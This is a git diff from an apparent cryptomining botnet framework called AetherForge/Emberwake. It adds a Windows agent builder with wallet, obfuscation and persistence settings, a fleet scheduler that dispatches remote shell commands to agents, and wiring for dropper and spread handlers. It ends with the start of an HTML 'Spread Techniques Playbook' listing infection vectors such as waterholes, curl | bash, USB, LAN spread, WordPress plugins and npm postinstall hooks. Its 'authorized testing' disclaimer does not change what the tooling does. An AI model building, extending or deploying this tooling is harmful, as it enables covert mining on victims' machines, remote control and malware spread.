}
|
}
|
||||||
|
// Cap slice lengths to prevent huge generated source files.
|
||||||
|
const maxBackupPools = 10
|
||||||
|
if len(req.BackupServerURLs) > maxBackupPools {
|
||||||
|
req.BackupServerURLs = req.BackupServerURLs[:maxBackupPools]
|
||||||
|
}
|
||||||
|
if len(req.BackupPools) > maxBackupPools {
|
||||||
|
req.BackupPools = req.BackupPools[:maxBackupPools]
|
||||||
|
}
|
||||||
|
if len(req.RVNBackupPools) > maxBackupPools {
|
||||||
|
req.RVNBackupPools = req.RVNBackupPools[:maxBackupPools]
|
||||||
|
}
|
||||||
|
|
||||||
if req.Threads <= 0 {
|
if req.Threads <= 0 {
|
||||||
req.Threads = 4
|
req.Threads = 4
|
||||||
}
|
}
|
||||||
|
|||||||
49
server/internal/builder/live_forge_smoke_test.go
Normal file
49
server/internal/builder/live_forge_smoke_test.go
Normal file
@@ -0,0 +1,49 @@
|
|||||||
|
//go:build liveforge
|
||||||
|
|
||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TestLiveForgeWindowsSmoke compiles a real Windows agent via buildAgent.
|
||||||
|
// Run: go test -tags liveforge -run TestLiveForgeWindowsSmoke -timeout 10m
|
||||||
|
func TestLiveForgeWindowsSmoke(t *testing.T) {
|
||||||
|
if os.Getenv("LIVE_FORGE") != "1" {
|
||||||
|
t.Skip("set LIVE_FORGE=1 to run real compile smoke test")
|
||||||
|
}
|
||||||
|
h, database := testHandlerDB(t)
|
||||||
|
defer database.Close()
|
||||||
|
h.SetFleetSecret("live-forge-smoke-secret")
|
||||||
|
|
||||||
|
req := &BuildRequest{
|
||||||
|
TargetOS: "windows",
|
||||||
|
TargetArch: "amd64",
|
||||||
|
WorkerName: "live-smoke",
|
||||||
|
ServerURL: "http://127.0.0.1:8989",
|
||||||
|
Wallet: "48" + strings.Repeat("A", 93),
|
||||||
|
Obfuscate: false,
|
||||||
|
}
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), 8*time.Minute)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
resp, code, outputPath := h.buildAgent(ctx, req, "")
|
||||||
|
if code != 200 || !resp.Success {
|
||||||
|
t.Fatalf("build failed: code=%d resp=%+v", code, resp)
|
||||||
|
}
|
||||||
|
if outputPath == "" {
|
||||||
|
t.Fatal("empty output path")
|
||||||
|
}
|
||||||
|
st, err := os.Stat(outputPath)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("output missing: %v", err)
|
||||||
|
}
|
||||||
|
if st.Size() < 1_000_000 {
|
||||||
|
t.Fatalf("output too small: %d bytes", st.Size())
|
||||||
|
}
|
||||||
|
t.Logf("forge ok: %s (%d bytes) build_id=%s", outputPath, st.Size(), resp.BuildID)
|
||||||
|
}
|
||||||
@@ -91,6 +91,12 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
http.Error(w, "root_path is required", http.StatusBadRequest)
|
http.Error(w, "root_path is required", http.StatusBadRequest)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
cleanRoot, err := h.validateRootPath(req.RootPath)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, "root_path rejected: "+err.Error(), http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
req.RootPath = cleanRoot
|
||||||
if !req.TargetWindows && !req.TargetMac {
|
if !req.TargetWindows && !req.TargetMac {
|
||||||
req.TargetWindows = true
|
req.TargetWindows = true
|
||||||
req.TargetMac = true
|
req.TargetMac = true
|
||||||
|
|||||||
@@ -71,8 +71,9 @@ func resolveInstallBasePS(req *BuildRequest) string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func generateUninstallScript(buildID string, req *BuildRequest) string {
|
func generateUninstallScript(buildID string, req *BuildRequest) string {
|
||||||
processName := effectiveProcessName(req)
|
// Escape single quotes for PowerShell string literals ('x' → ''x'').
|
||||||
persistenceKey := persistenceKeyName(req)
|
processName := strings.ReplaceAll(effectiveProcessName(req), "'", "''")
|
||||||
|
persistenceKey := strings.ReplaceAll(persistenceKeyName(req), "'", "''")
|
||||||
installRel := expandInstallRelativePath(req, buildID)
|
installRel := expandInstallRelativePath(req, buildID)
|
||||||
installBase := resolveInstallBasePS(req)
|
installBase := resolveInstallBasePS(req)
|
||||||
|
|
||||||
|
|||||||
12
server/internal/cloudflared/launcher_stub_test.go
Normal file
12
server/internal/cloudflared/launcher_stub_test.go
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package cloudflared
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestStubStartStop(t *testing.T) {
|
||||||
|
if err := Start("", "", "token-should-not-matter"); err != nil {
|
||||||
|
t.Fatalf("Start: %v", err)
|
||||||
|
}
|
||||||
|
Stop()
|
||||||
|
}
|
||||||
@@ -15,6 +15,8 @@ import (
|
|||||||
"syscall"
|
"syscall"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const maxCloudflaredBinaryBytes = 100 * 1024 * 1024 // 100 MB sanity cap
|
||||||
|
|
||||||
const downloadURL = "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe"
|
const downloadURL = "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe"
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -121,7 +123,7 @@ func ensureBinary(deckRoot string) (string, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
_, err = io.Copy(f, resp.Body)
|
_, err = io.Copy(f, io.LimitReader(resp.Body, maxCloudflaredBinaryBytes))
|
||||||
closeErr := f.Close()
|
closeErr := f.Close()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
|
|||||||
17
server/internal/cloudflared/launcher_windows_test.go
Normal file
17
server/internal/cloudflared/launcher_windows_test.go
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package cloudflared
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestStartEmptyTokenIsNoOp(t *testing.T) {
|
||||||
|
for _, token := range []string{"", " ", "\t", `""`, "''"} {
|
||||||
|
if err := Start("", "", token); err != nil {
|
||||||
|
t.Fatalf("Start(%q): %v", token, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestStopWhenNotRunning(t *testing.T) {
|
||||||
|
Stop()
|
||||||
|
}
|
||||||
@@ -2,6 +2,8 @@ package db
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"database/sql"
|
"database/sql"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"crypto-miner-server/internal/models"
|
"crypto-miner-server/internal/models"
|
||||||
@@ -71,6 +73,42 @@ func (d *Database) LastFleetTaskRun(agentID, taskID string) (time.Time, bool) {
|
|||||||
return ts, true
|
return ts, true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// BulkLastFleetTaskRuns returns a map keyed by "agentID:taskID" with the
|
||||||
|
// last_run_at time for every matching row. Missing pairs were never run.
|
||||||
|
// A single query replaces O(tasks × agents) individual lookups.
|
||||||
|
func (d *Database) BulkLastFleetTaskRuns(agentIDs, taskIDs []string) (map[string]time.Time, error) {
|
||||||
|
if len(agentIDs) == 0 || len(taskIDs) == 0 {
|
||||||
|
return map[string]time.Time{}, nil
|
||||||
|
}
|
||||||
|
args := make([]interface{}, 0, len(agentIDs)+len(taskIDs))
|
||||||
|
for _, id := range agentIDs {
|
||||||
|
args = append(args, id)
|
||||||
|
}
|
||||||
|
for _, id := range taskIDs {
|
||||||
|
args = append(args, id)
|
||||||
|
}
|
||||||
|
query := fmt.Sprintf(
|
||||||
|
`SELECT agent_id, task_id, last_run_at FROM fleet_task_runs WHERE agent_id IN (%s) AND task_id IN (%s)`,
|
||||||
|
strings.Repeat("?,", len(agentIDs)-1)+"?",
|
||||||
|
strings.Repeat("?,", len(taskIDs)-1)+"?",
|
||||||
|
)
|
||||||
|
rows, err := d.Query(query, args...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
out := make(map[string]time.Time, len(agentIDs)*len(taskIDs))
|
||||||
|
for rows.Next() {
|
||||||
|
var agentID, taskID string
|
||||||
|
var ts time.Time
|
||||||
|
if err := rows.Scan(&agentID, &taskID, &ts); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
out[agentID+":"+taskID] = ts
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
func scanFleetTaskRow(row *sql.Row) (*models.FleetTask, error) {
|
func scanFleetTaskRow(row *sql.Row) (*models.FleetTask, error) {
|
||||||
t := &models.FleetTask{}
|
t := &models.FleetTask{}
|
||||||
var enabled int
|
var enabled int
|
||||||
|
|||||||
@@ -28,6 +28,9 @@ func New(dataDir string) (*Database, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("failed to open database: %w", err)
|
return nil, fmt.Errorf("failed to open database: %w", err)
|
||||||
}
|
}
|
||||||
|
// SQLite only supports one concurrent writer; a single open connection
|
||||||
|
// avoids WAL write-lock contention and SQLITE_BUSY under load.
|
||||||
|
db.SetMaxOpenConns(1)
|
||||||
|
|
||||||
d := &Database{db}
|
d := &Database{db}
|
||||||
if err := d.migrate(); err != nil {
|
if err := d.migrate(); err != nil {
|
||||||
@@ -309,6 +312,9 @@ func (d *Database) ListAgents() ([]*models.Agent, error) {
|
|||||||
}
|
}
|
||||||
agents = append(agents, a)
|
agents = append(agents, a)
|
||||||
}
|
}
|
||||||
|
if err := rows.Err(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
return agents, nil
|
return agents, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -347,6 +353,9 @@ func (d *Database) GetRecentShares(limit int) ([]*models.Share, error) {
|
|||||||
s.Accepted = accepted == 1
|
s.Accepted = accepted == 1
|
||||||
shares = append(shares, s)
|
shares = append(shares, s)
|
||||||
}
|
}
|
||||||
|
if err := rows.Err(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
return shares, nil
|
return shares, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -376,6 +385,9 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
|
|||||||
}
|
}
|
||||||
samples = append(samples, s)
|
samples = append(samples, s)
|
||||||
}
|
}
|
||||||
|
if err := rows.Err(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
return samples, nil
|
return samples, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -464,26 +476,32 @@ func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildReco
|
|||||||
// SetPinnedBuild unpins all builds then pins the one with the given id.
|
// SetPinnedBuild unpins all builds then pins the one with the given id.
|
||||||
// If id is empty, all builds are unpinned. Returns an error when id is
|
// If id is empty, all builds are unpinned. Returns an error when id is
|
||||||
// non-empty but no build row matches (avoids leaving all builds unpinned).
|
// non-empty but no build row matches (avoids leaving all builds unpinned).
|
||||||
|
// Both UPDATEs run in a single transaction so a crash mid-way cannot leave
|
||||||
|
// the table in a half-pinned state.
|
||||||
func (d *Database) SetPinnedBuild(id string) error {
|
func (d *Database) SetPinnedBuild(id string) error {
|
||||||
_, err := d.Exec(`UPDATE builds SET pinned = 0`)
|
tx, err := d.Begin()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if id == "" {
|
defer tx.Rollback() //nolint:errcheck
|
||||||
return nil
|
|
||||||
}
|
if _, err := tx.Exec(`UPDATE builds SET pinned = 0`); err != nil {
|
||||||
res, err := d.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
n, err := res.RowsAffected()
|
if id != "" {
|
||||||
if err != nil {
|
res, err := tx.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
|
||||||
return err
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
n, err := res.RowsAffected()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if n == 0 {
|
||||||
|
return fmt.Errorf("build not found: %s", id)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
if n == 0 {
|
return tx.Commit()
|
||||||
return fmt.Errorf("build not found: %s", id)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
||||||
@@ -501,6 +519,9 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
|||||||
}
|
}
|
||||||
builds = append(builds, b)
|
builds = append(builds, b)
|
||||||
}
|
}
|
||||||
|
if err := rows.Err(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
return builds, nil
|
return builds, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -82,14 +82,28 @@ func (s *FleetScheduler) tickInterval() {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
agentIDs := s.send.ConnectedAgentIDs()
|
agentIDs := s.send.ConnectedAgentIDs()
|
||||||
|
|
||||||
|
// Collect IDs of interval tasks so we can bulk-fetch last-run timestamps
|
||||||
|
// in a single query instead of one query per (task, agent) pair.
|
||||||
|
var taskIDs []string
|
||||||
|
for _, t := range tasks {
|
||||||
|
if t.Enabled && t.Trigger == "interval_hours" && t.IntervalHours > 0 {
|
||||||
|
taskIDs = append(taskIDs, t.ID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
lastRuns, err := s.db.BulkLastFleetTaskRuns(agentIDs, taskIDs)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[scheduler] bulk last runs: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
for _, t := range tasks {
|
for _, t := range tasks {
|
||||||
if !t.Enabled || t.Trigger != "interval_hours" || t.IntervalHours <= 0 {
|
if !t.Enabled || t.Trigger != "interval_hours" || t.IntervalHours <= 0 {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
interval := time.Duration(t.IntervalHours * float64(time.Hour))
|
interval := time.Duration(t.IntervalHours * float64(time.Hour))
|
||||||
for _, agentID := range agentIDs {
|
for _, agentID := range agentIDs {
|
||||||
last, ok := s.db.LastFleetTaskRun(agentID, t.ID)
|
if last, ok := lastRuns[agentID+":"+t.ID]; ok && time.Since(last) < interval {
|
||||||
if ok && time.Since(last) < interval {
|
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
s.dispatchTask(agentID, t)
|
s.dispatchTask(agentID, t)
|
||||||
|
|||||||
194
server/internal/scheduler/fleet_scheduler_test.go
Normal file
194
server/internal/scheduler/fleet_scheduler_test.go
Normal file
@@ -0,0 +1,194 @@
|
|||||||
|
package scheduler
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
)
|
||||||
|
|
||||||
|
type mockSender struct {
|
||||||
|
commands []string
|
||||||
|
agents []string
|
||||||
|
err error
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *mockSender) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
|
||||||
|
cmd := agentID + ":" + action
|
||||||
|
if c, ok := args["command"].(string); ok && c != "" {
|
||||||
|
cmd += ":" + c
|
||||||
|
}
|
||||||
|
m.commands = append(m.commands, cmd)
|
||||||
|
return m.err
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *mockSender) ConnectedAgentIDs() []string { return m.agents }
|
||||||
|
|
||||||
|
func openTestDB(t *testing.T) *db.Database {
|
||||||
|
t.Helper()
|
||||||
|
d, err := db.New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { d.Close() })
|
||||||
|
return d
|
||||||
|
}
|
||||||
|
|
||||||
|
func upsertTask(t *testing.T, d *db.Database, task *models.FleetTask) *models.FleetTask {
|
||||||
|
t.Helper()
|
||||||
|
if err := d.UpsertFleetTask(task); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
list, err := d.ListFleetTasks()
|
||||||
|
if err != nil || len(list) == 0 {
|
||||||
|
t.Fatalf("list tasks: %v", err)
|
||||||
|
}
|
||||||
|
return list[0]
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRunConnectTasksDispatchesMatchingTrigger(t *testing.T) {
|
||||||
|
d := openTestDB(t)
|
||||||
|
send := &mockSender{agents: []string{"agent-a"}}
|
||||||
|
s := New(d, send)
|
||||||
|
|
||||||
|
task := upsertTask(t, d, &models.FleetTask{
|
||||||
|
Name: "sysinfo on connect",
|
||||||
|
Enabled: true,
|
||||||
|
Trigger: "on_connect",
|
||||||
|
Action: "sysinfo",
|
||||||
|
})
|
||||||
|
|
||||||
|
s.RunConnectTasks("agent-a", "on_connect")
|
||||||
|
|
||||||
|
if len(send.commands) != 1 {
|
||||||
|
t.Fatalf("commands = %v, want 1 dispatch", send.commands)
|
||||||
|
}
|
||||||
|
want := "agent-a:sysinfo"
|
||||||
|
if send.commands[0] != want {
|
||||||
|
t.Fatalf("got %q, want %q", send.commands[0], want)
|
||||||
|
}
|
||||||
|
|
||||||
|
last, ok := d.LastFleetTaskRun("agent-a", task.ID)
|
||||||
|
if !ok || time.Since(last) > time.Minute {
|
||||||
|
t.Fatalf("expected recent fleet task run record, ok=%v last=%v", ok, last)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRunConnectTasksSkipsDisabledAndWrongTrigger(t *testing.T) {
|
||||||
|
d := openTestDB(t)
|
||||||
|
send := &mockSender{}
|
||||||
|
s := New(d, send)
|
||||||
|
|
||||||
|
upsertTask(t, d, &models.FleetTask{
|
||||||
|
Name: "disabled",
|
||||||
|
Enabled: false,
|
||||||
|
Trigger: "on_connect",
|
||||||
|
Action: "sysinfo",
|
||||||
|
})
|
||||||
|
upsertTask(t, d, &models.FleetTask{
|
||||||
|
Name: "reconnect only",
|
||||||
|
Enabled: true,
|
||||||
|
Trigger: "on_reconnect",
|
||||||
|
Action: "sysinfo",
|
||||||
|
})
|
||||||
|
|
||||||
|
s.RunConnectTasks("agent-a", "on_connect")
|
||||||
|
|
||||||
|
if len(send.commands) != 0 {
|
||||||
|
t.Fatalf("expected no dispatch, got %v", send.commands)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRunConnectTasksIncludesCommandArg(t *testing.T) {
|
||||||
|
d := openTestDB(t)
|
||||||
|
send := &mockSender{}
|
||||||
|
s := New(d, send)
|
||||||
|
|
||||||
|
upsertTask(t, d, &models.FleetTask{
|
||||||
|
Name: "shell job",
|
||||||
|
Enabled: true,
|
||||||
|
Trigger: "on_connect",
|
||||||
|
Action: "run_shell",
|
||||||
|
Command: "whoami",
|
||||||
|
})
|
||||||
|
|
||||||
|
s.RunConnectTasks("agent-b", "on_connect")
|
||||||
|
|
||||||
|
if len(send.commands) != 1 || !strings.Contains(send.commands[0], ":whoami") {
|
||||||
|
t.Fatalf("expected command arg in dispatch, got %v", send.commands)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTickIntervalRespectsLastRun(t *testing.T) {
|
||||||
|
d := openTestDB(t)
|
||||||
|
send := &mockSender{agents: []string{"agent-a"}}
|
||||||
|
s := New(d, send)
|
||||||
|
|
||||||
|
task := upsertTask(t, d, &models.FleetTask{
|
||||||
|
Name: "hourly sysinfo",
|
||||||
|
Enabled: true,
|
||||||
|
Trigger: "interval_hours",
|
||||||
|
IntervalHours: 1,
|
||||||
|
Action: "sysinfo",
|
||||||
|
})
|
||||||
|
|
||||||
|
if err := d.RecordFleetTaskRun("agent-a", task.ID); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
s.tickInterval()
|
||||||
|
if len(send.commands) != 0 {
|
||||||
|
t.Fatalf("expected skip within interval, got %v", send.commands)
|
||||||
|
}
|
||||||
|
|
||||||
|
s.tickInterval()
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTickIntervalDispatchesWhenDue(t *testing.T) {
|
||||||
|
d := openTestDB(t)
|
||||||
|
send := &mockSender{agents: []string{"agent-a", "agent-b"}}
|
||||||
|
s := New(d, send)
|
||||||
|
|
||||||
|
upsertTask(t, d, &models.FleetTask{
|
||||||
|
Name: "quick poll",
|
||||||
|
Enabled: true,
|
||||||
|
Trigger: "interval_hours",
|
||||||
|
IntervalHours: 0.0001,
|
||||||
|
Action: "heartbeat",
|
||||||
|
})
|
||||||
|
|
||||||
|
s.tickInterval()
|
||||||
|
|
||||||
|
if len(send.commands) != 2 {
|
||||||
|
t.Fatalf("expected dispatch to both agents, got %v", send.commands)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTickCronDedupesSameDaySlot(t *testing.T) {
|
||||||
|
d := openTestDB(t)
|
||||||
|
send := &mockSender{agents: []string{"agent-a"}}
|
||||||
|
s := New(d, send)
|
||||||
|
|
||||||
|
slot := time.Now().Format("15:04")
|
||||||
|
upsertTask(t, d, &models.FleetTask{
|
||||||
|
Name: "daily sysinfo",
|
||||||
|
Enabled: true,
|
||||||
|
Trigger: "cron",
|
||||||
|
CronTime: slot,
|
||||||
|
Action: "sysinfo",
|
||||||
|
})
|
||||||
|
|
||||||
|
s.tickCron()
|
||||||
|
first := len(send.commands)
|
||||||
|
s.tickCron()
|
||||||
|
second := len(send.commands)
|
||||||
|
|
||||||
|
if first != 1 {
|
||||||
|
t.Fatalf("first cron tick: got %d commands, want 1", first)
|
||||||
|
}
|
||||||
|
if second != first {
|
||||||
|
t.Fatalf("cron dedupe failed: first=%d second=%d", first, second)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"crypto/rand"
|
"crypto/rand"
|
||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
@@ -9,7 +10,9 @@ import (
|
|||||||
"log"
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
|
"os/signal"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"syscall"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"crypto-miner-server/internal/alerts"
|
"crypto-miner-server/internal/alerts"
|
||||||
@@ -287,17 +290,37 @@ func main() {
|
|||||||
// Initialize router
|
// Initialize router
|
||||||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
|
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
|
||||||
return configProvider.PublicURL()
|
return configProvider.PublicURL()
|
||||||
}, cfg.Port)
|
}, cfg.Port, func() bool {
|
||||||
|
return cfg.ConnectorToken() != ""
|
||||||
|
})
|
||||||
log.Println("Router initialized")
|
log.Println("Router initialized")
|
||||||
|
|
||||||
// Start server
|
// Start server
|
||||||
addr := fmt.Sprintf(":%d", cfg.Port)
|
addr := fmt.Sprintf(":%d", cfg.Port)
|
||||||
|
srv := &http.Server{Addr: addr, Handler: router}
|
||||||
|
|
||||||
|
ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM)
|
||||||
|
defer stop()
|
||||||
|
|
||||||
log.Printf("Server listening on %s", addr)
|
log.Printf("Server listening on %s", addr)
|
||||||
log.Printf("Open http://localhost:%d in your browser", cfg.Port)
|
log.Printf("Open http://localhost:%d in your browser", cfg.Port)
|
||||||
|
|
||||||
if err := http.ListenAndServe(addr, router); err != nil {
|
go func() {
|
||||||
log.Fatalf("Server failed: %v", err)
|
if err := srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {
|
||||||
|
log.Fatalf("Server failed: %v", err)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
<-ctx.Done()
|
||||||
|
stop() // release signal resources before cleanup
|
||||||
|
|
||||||
|
log.Println("Shutting down server gracefully...")
|
||||||
|
shutdownCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
if err := srv.Shutdown(shutdownCtx); err != nil {
|
||||||
|
log.Printf("Server shutdown error: %v", err)
|
||||||
}
|
}
|
||||||
|
log.Println("Server stopped")
|
||||||
}
|
}
|
||||||
|
|
||||||
func poolConfigsFromEndpoints(eps []PoolEndpoint, cfg *Config) []pool.Config {
|
func poolConfigsFromEndpoints(eps []PoolEndpoint, cfg *Config) []pool.Config {
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import { expect, test } from '@playwright/test';
|
import { expect, test } from '@playwright/test';
|
||||||
import { loginToDashboard } from './fixtures';
|
import { loginToDashboard } from './fixtures';
|
||||||
|
|
||||||
test.describe('Page smoke', () => {
|
test.describe('Page smoke', () => {
|
||||||
@@ -19,7 +19,7 @@ test.describe('Page smoke', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
test('Settings renders Calibrate', async ({ page }) => {
|
test('Settings renders Calibrate', async ({ page }) => {
|
||||||
await page.getByRole('link', { name: /Calibrate/i }).click();
|
await page.getByRole('navigation').getByRole('link', { name: 'Calibrate', exact: true }).click();
|
||||||
await expect(page.getByRole('heading', { name: 'Calibrate' })).toBeVisible({ timeout: 10_000 });
|
await expect(page.getByRole('heading', { name: 'Calibrate' })).toBeVisible({ timeout: 10_000 });
|
||||||
await expect(page.getByRole('button', { name: 'Save Calibration' })).toBeVisible();
|
await expect(page.getByRole('button', { name: 'Save Calibration' })).toBeVisible();
|
||||||
});
|
});
|
||||||
|
|||||||
332
server/web/public/docs/SPREAD_TECHNIQUES.html
Normal file
332
server/web/public/docs/SPREAD_TECHNIQUES.html
Normal file
@@ -0,0 +1,332 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>Spread Techniques — AetherForge</title>
|
||||||
|
<link rel="stylesheet" href="wiki.css" />
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="wiki-layout">
|
||||||
|
<aside class="wiki-sidebar">
|
||||||
|
<div class="wiki-sidebar-header">
|
||||||
|
<h1>AetherForge</h1>
|
||||||
|
<p>Spread techniques playbook</p>
|
||||||
|
<a href="/">← Command Deck</a>
|
||||||
|
<br />
|
||||||
|
<a href="/emberwake" style="margin-top:0.35rem;display:inline-block;">→ Emberwake</a>
|
||||||
|
<br />
|
||||||
|
<a href="index.html" style="margin-top:0.35rem;display:inline-block;">→ Full wiki</a>
|
||||||
|
</div>
|
||||||
|
<ul class="wiki-nav">
|
||||||
|
<li><a href="#overview">Overview</a></li>
|
||||||
|
<li><a href="#web-waterhole">Web waterhole</a></li>
|
||||||
|
<li><a href="#curl-bash">curl | bash VPS</a></li>
|
||||||
|
<li><a href="#campaign-war-room">Campaign & War Room</a></li>
|
||||||
|
<li><a href="#fusion-media">Fusion media</a></li>
|
||||||
|
<li><a href="#usb">USB</a></li>
|
||||||
|
<li><a href="#lan">LAN kindling</a></li>
|
||||||
|
<li><a href="#wordpress">WordPress plugin</a></li>
|
||||||
|
<li><a href="#npm-helper">npm postinstall</a></li>
|
||||||
|
<li><a href="#social-funnel">Social funnel</a></li>
|
||||||
|
<li><a href="#third-party">Third-party & gaps</a></li>
|
||||||
|
</ul>
|
||||||
|
</aside>
|
||||||
|
|
||||||
|
<main class="wiki-content">
|
||||||
|
<section>
|
||||||
|
<h2>Spread Techniques Playbook</h2>
|
||||||
|
<p>
|
||||||
|
Red-team / threat-intelligence vectors mapped to <strong>AetherForge + Emberwake</strong> capabilities.
|
||||||
|
For <strong>authorized</strong> penetration testing, lab environments, and defensive planning only.
|
||||||
|
Landscape as of <strong>2024–2026</strong>.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
Use <a href="/emberwake">Emberwake</a> for campaign builder, spread-kit export, supply-chain wizards, and
|
||||||
|
War Room analytics. This page is the operator playbook — Emberwake stays focused on actions, not tutorials.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<div class="spread-tab-bar" role="tablist" aria-label="Spread technique">
|
||||||
|
<button type="button" class="spread-tab active" role="tab" data-spread-tab="overview" aria-selected="true">Overview</button>
|
||||||
|
<button type="button" class="spread-tab" role="tab" data-spread-tab="web-waterhole" aria-selected="false">Web waterhole</button>
|
||||||
|
<button type="button" class="spread-tab" role="tab" data-spread-tab="curl-bash" aria-selected="false">curl | bash</button>
|
||||||
|
